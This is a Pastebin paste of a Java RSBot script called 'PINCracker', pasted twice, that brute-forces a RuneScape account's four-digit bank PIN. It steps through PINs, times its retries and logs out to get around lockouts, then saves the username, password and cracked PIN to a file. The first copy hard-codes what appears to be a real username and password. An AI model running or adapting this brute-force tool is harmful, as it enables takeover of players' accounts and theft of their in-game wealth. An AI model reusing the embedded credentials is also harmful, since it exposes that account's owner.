Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.73 KB | None | 0 0
  1. import java.util.logging.Level;
  2. import org.rsbot.script.Script;
  3. import org.rsbot.script.ScriptManifest;
  4. import org.rsbot.script.wrappers.RSComponent;
  5. import org.rsbot.event.listeners.PaintListener;
  6. import java.awt.*;
  7. import java.io.*;
  8. import org.rsbot.Configuration;
  9.  
  10. @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
  11. public class PINCracker extends Script implements PaintListener {
  12.  
  13. private String username = "runepol6"; // Change username to your RuneScape username
  14. private String password = "treytrey"; // Change password to your RuneScape password
  15. private String pin = "1980"; // Change 0000 to the PIN you want to start cracking from
  16.  
  17. private int state;
  18. private int tried = 0;
  19. private long banktimeout = 10;
  20.  
  21. //Paint variables
  22. public long startTime = 0;
  23. public long millis = 0;
  24. public long hours = 0;
  25. public long minutes = 0;
  26. public long seconds = 0;
  27. public long last = 0;
  28. public int totalTried = 0;
  29. public int pinsPerHour = 0;
  30. public String currentPin = pin;
  31. public long attemptTime = 0;
  32.  
  33. public boolean activateCondition() {
  34. return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  35. }
  36.  
  37. public long bankTimeout() {
  38. return banktimeout;
  39. }
  40.  
  41. public void enterCode(final String aPin) {
  42. if (!interfaces.get(13).isValid())
  43. return;
  44. final RSComponent[] children = interfaces.get(13).getComponents();
  45. state = 0;
  46. for (int i = 1; i < 5; i++) {
  47. if (children[i].containsText("?")) {
  48. state++;
  49. }
  50. }
  51. state = 4 - state;
  52. if (!interfaces.get(759).isValid())
  53. return;
  54. final RSComponent[] bankPin = interfaces.get(759).getComponents();
  55. if (state >= 3)
  56. sleep(300, 600);
  57. for (int i = 0; i < bankPin.length; i++) {
  58. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  59. final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  60. int stateBefore = 0;
  61. int stateAfter = 0;
  62. for (int j=1; j<5; j++) {
  63. if (childrenBefore[j].containsText("?"))
  64. stateBefore++;
  65. }
  66. bankPin[i].doClick();
  67. sleep(500);
  68. while (stateBefore == stateAfter) {
  69. final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  70. for (int k=1; k<5; k++) {
  71. if (childrenAfter[k].containsText("?"))
  72. stateAfter++;
  73. }
  74. sleep(500);
  75. }
  76. break;
  77. }
  78. }
  79. if (state == 3) {
  80. tried++;
  81. totalTried++;
  82. if (tried == 2)
  83. sleep(11000);
  84. else if(tried >= 3) {
  85. sleep(2000);
  86. if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  87. pinIsCracked();
  88. else {
  89. sleep(14000);
  90. tried = 0;
  91. while(game.isLoggedIn())
  92. game.logout(true);
  93. }
  94. }
  95. int temp = Integer.parseInt(pin);
  96. temp++;
  97. if (temp >= 0 && temp <= 9)
  98. pin = String.format("000%d", temp);
  99. else if(temp >= 10 && temp <= 99)
  100. pin = String.format("00%d", temp);
  101. else if(temp >= 100 && temp <= 999)
  102. pin = String.format("0%d", temp);
  103. else if(temp >= 1000 && temp <= 9999)
  104. pin = "" + temp;
  105. currentPin = pin;
  106. }
  107. }
  108.  
  109. public void login() {
  110. if(interfaces.get(906).isValid()) {
  111. if (interfaces.get(906).containsText("account has not logged out"))
  112. mouse.click(382, 322, true);
  113. else {
  114. interfaces.get(906).getComponent(171).doClick();
  115. while(interfaces.get(906).containsText("Entering game"))
  116. sleep(500);
  117. }
  118. }
  119. else if (interfaces.get(596).isValid()) {
  120. interfaces.get(596).getComponent(65).doClick();
  121. sleep(1000);
  122. keyboard.sendText(username, false);
  123. interfaces.get(596).getComponent(71).doClick();
  124. sleep(1000);
  125. keyboard.sendText(password, false);
  126. interfaces.get(596).getComponent(51).doClick();
  127. while(game.isLoginScreen())
  128. sleep(500);
  129. }
  130. }
  131.  
  132. public void pinIsCracked() {
  133. log("PIN SUCCESSFULLY CRACKED!");
  134. log.log(Level.WARNING, "PIN: {0}", pin);
  135. try {
  136. BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
  137. out.write("Username: " + username);
  138. out.newLine();
  139. out.write("Password: " + password);
  140. out.newLine();
  141. out.write("PIN: " + pin);
  142. out.newLine();
  143. log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
  144. out.close();
  145. }
  146. catch (IOException e) {
  147. log.warning(e.getMessage());
  148. }
  149. while(game.isLoggedIn())
  150. game.logout(false);
  151. stopScript();
  152. }
  153.  
  154. @Override
  155. public boolean onStart() {
  156. startTime = System.currentTimeMillis();
  157. mouse.setSpeed(1);
  158. return true;
  159. }
  160.  
  161. @Override
  162. public int loop() {
  163. if (game.isLoggedIn()) {
  164. if (interfaces.get(13).isValid()) {
  165. enterCode(pin);
  166. sleep(500,1000);
  167. }
  168. else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  169. pinIsCracked();
  170. else
  171. bank.open();
  172. }
  173. else {
  174. login();
  175. }
  176. return random(200,500);
  177. }
  178.  
  179. public void onRepaint(Graphics g1) {
  180. Graphics2D g = (Graphics2D)g1;
  181.  
  182. millis = System.currentTimeMillis() - startTime;
  183. hours = millis / (1000 * 60 * 60);
  184. millis -= hours * (1000 * 60 * 60);
  185. minutes = millis / (1000 * 60);
  186. millis -= minutes * (1000 * 60);
  187. seconds = millis / 1000;
  188. String hoursString = "" + hours;
  189. String minutesString = "" + minutes;
  190. String secondsString = "" + seconds;
  191. if (hours < 10)
  192. hoursString = "0" + hours;
  193. if (minutes < 10)
  194. minutesString = "0" + minutes;
  195. if (seconds < 10)
  196. secondsString = "0" + seconds;
  197.  
  198. g.setColor(new Color(0, 0, 255, 200));
  199. g.fillRect(5, 5, 190, 65);
  200. g.setFont(new Font("Arial", Font.BOLD, 15));
  201. g.setColor(Color.WHITE);
  202. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  203. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  204. g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
  205. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  206. }
  207. }import java.util.logging.Level;
  208. import org.rsbot.script.Script;
  209. import org.rsbot.script.ScriptManifest;
  210. import org.rsbot.script.wrappers.RSComponent;
  211. import org.rsbot.event.listeners.PaintListener;
  212. import java.awt.*;
  213. import java.io.*;
  214. import org.rsbot.Configuration;
  215.  
  216. @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
  217. public class PINCracker extends Script implements PaintListener {
  218.  
  219. private String username = "USERNAME"; // Change username to your RuneScape username
  220. private String password = "PASSWORD"; // Change password to your RuneScape password
  221. private String pin = "1980"; // Change 0000 to the PIN you want to start cracking from
  222.  
  223. private int state;
  224. private int tried = 0;
  225. private long banktimeout = 10;
  226.  
  227. //Paint variables
  228. public long startTime = 0;
  229. public long millis = 0;
  230. public long hours = 0;
  231. public long minutes = 0;
  232. public long seconds = 0;
  233. public long last = 0;
  234. public int totalTried = 0;
  235. public int pinsPerHour = 0;
  236. public String currentPin = pin;
  237. public long attemptTime = 0;
  238.  
  239. public boolean activateCondition() {
  240. return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  241. }
  242.  
  243. public long bankTimeout() {
  244. return banktimeout;
  245. }
  246.  
  247. public void enterCode(final String aPin) {
  248. if (!interfaces.get(13).isValid())
  249. return;
  250. final RSComponent[] children = interfaces.get(13).getComponents();
  251. state = 0;
  252. for (int i = 1; i < 5; i++) {
  253. if (children[i].containsText("?")) {
  254. state++;
  255. }
  256. }
  257. state = 4 - state;
  258. if (!interfaces.get(759).isValid())
  259. return;
  260. final RSComponent[] bankPin = interfaces.get(759).getComponents();
  261. if (state >= 3)
  262. sleep(300, 600);
  263. for (int i = 0; i < bankPin.length; i++) {
  264. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  265. final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  266. int stateBefore = 0;
  267. int stateAfter = 0;
  268. for (int j=1; j<5; j++) {
  269. if (childrenBefore[j].containsText("?"))
  270. stateBefore++;
  271. }
  272. bankPin[i].doClick();
  273. sleep(500);
  274. while (stateBefore == stateAfter) {
  275. final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  276. for (int k=1; k<5; k++) {
  277. if (childrenAfter[k].containsText("?"))
  278. stateAfter++;
  279. }
  280. sleep(500);
  281. }
  282. break;
  283. }
  284. }
  285. if (state == 3) {
  286. tried++;
  287. totalTried++;
  288. if (tried == 2)
  289. sleep(11000);
  290. else if(tried >= 3) {
  291. sleep(2000);
  292. if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  293. pinIsCracked();
  294. else {
  295. sleep(14000);
  296. tried = 0;
  297. while(game.isLoggedIn())
  298. game.logout(true);
  299. }
  300. }
  301. int temp = Integer.parseInt(pin);
  302. temp++;
  303. if (temp >= 0 && temp <= 9)
  304. pin = String.format("000%d", temp);
  305. else if(temp >= 10 && temp <= 99)
  306. pin = String.format("00%d", temp);
  307. else if(temp >= 100 && temp <= 999)
  308. pin = String.format("0%d", temp);
  309. else if(temp >= 1000 && temp <= 9999)
  310. pin = "" + temp;
  311. currentPin = pin;
  312. }
  313. }
  314.  
  315. public void login() {
  316. if(interfaces.get(906).isValid()) {
  317. if (interfaces.get(906).containsText("account has not logged out"))
  318. mouse.click(382, 322, true);
  319. else {
  320. interfaces.get(906).getComponent(171).doClick();
  321. while(interfaces.get(906).containsText("Entering game"))
  322. sleep(500);
  323. }
  324. }
  325. else if (interfaces.get(596).isValid()) {
  326. interfaces.get(596).getComponent(65).doClick();
  327. sleep(1000);
  328. keyboard.sendText(username, false);
  329. interfaces.get(596).getComponent(71).doClick();
  330. sleep(1000);
  331. keyboard.sendText(password, false);
  332. interfaces.get(596).getComponent(51).doClick();
  333. while(game.isLoginScreen())
  334. sleep(500);
  335. }
  336. }
  337.  
  338. public void pinIsCracked() {
  339. log("PIN SUCCESSFULLY CRACKED!");
  340. log.log(Level.WARNING, "PIN: {0}", pin);
  341. try {
  342. BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
  343. out.write("Username: " + username);
  344. out.newLine();
  345. out.write("Password: " + password);
  346. out.newLine();
  347. out.write("PIN: " + pin);
  348. out.newLine();
  349. log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
  350. out.close();
  351. }
  352. catch (IOException e) {
  353. log.warning(e.getMessage());
  354. }
  355. while(game.isLoggedIn())
  356. game.logout(false);
  357. stopScript();
  358. }
  359.  
  360. @Override
  361. public boolean onStart() {
  362. startTime = System.currentTimeMillis();
  363. mouse.setSpeed(1);
  364. return true;
  365. }
  366.  
  367. @Override
  368. public int loop() {
  369. if (game.isLoggedIn()) {
  370. if (interfaces.get(13).isValid()) {
  371. enterCode(pin);
  372. sleep(500,1000);
  373. }
  374. else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  375. pinIsCracked();
  376. else
  377. bank.open();
  378. }
  379. else {
  380. login();
  381. }
  382. return random(200,500);
  383. }
  384.  
  385. public void onRepaint(Graphics g1) {
  386. Graphics2D g = (Graphics2D)g1;
  387.  
  388. millis = System.currentTimeMillis() - startTime;
  389. hours = millis / (1000 * 60 * 60);
  390. millis -= hours * (1000 * 60 * 60);
  391. minutes = millis / (1000 * 60);
  392. millis -= minutes * (1000 * 60);
  393. seconds = millis / 1000;
  394. String hoursString = "" + hours;
  395. String minutesString = "" + minutes;
  396. String secondsString = "" + seconds;
  397. if (hours < 10)
  398. hoursString = "0" + hours;
  399. if (minutes < 10)
  400. minutesString = "0" + minutes;
  401. if (seconds < 10)
  402. secondsString = "0" + seconds;
  403.  
  404. g.setColor(new Color(0, 0, 255, 200));
  405. g.fillRect(5, 5, 190, 65);
  406. g.setFont(new Font("Arial", Font.BOLD, 15));
  407. g.setColor(Color.WHITE);
  408. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  409. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  410. g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
  411. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  412. }
  413. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement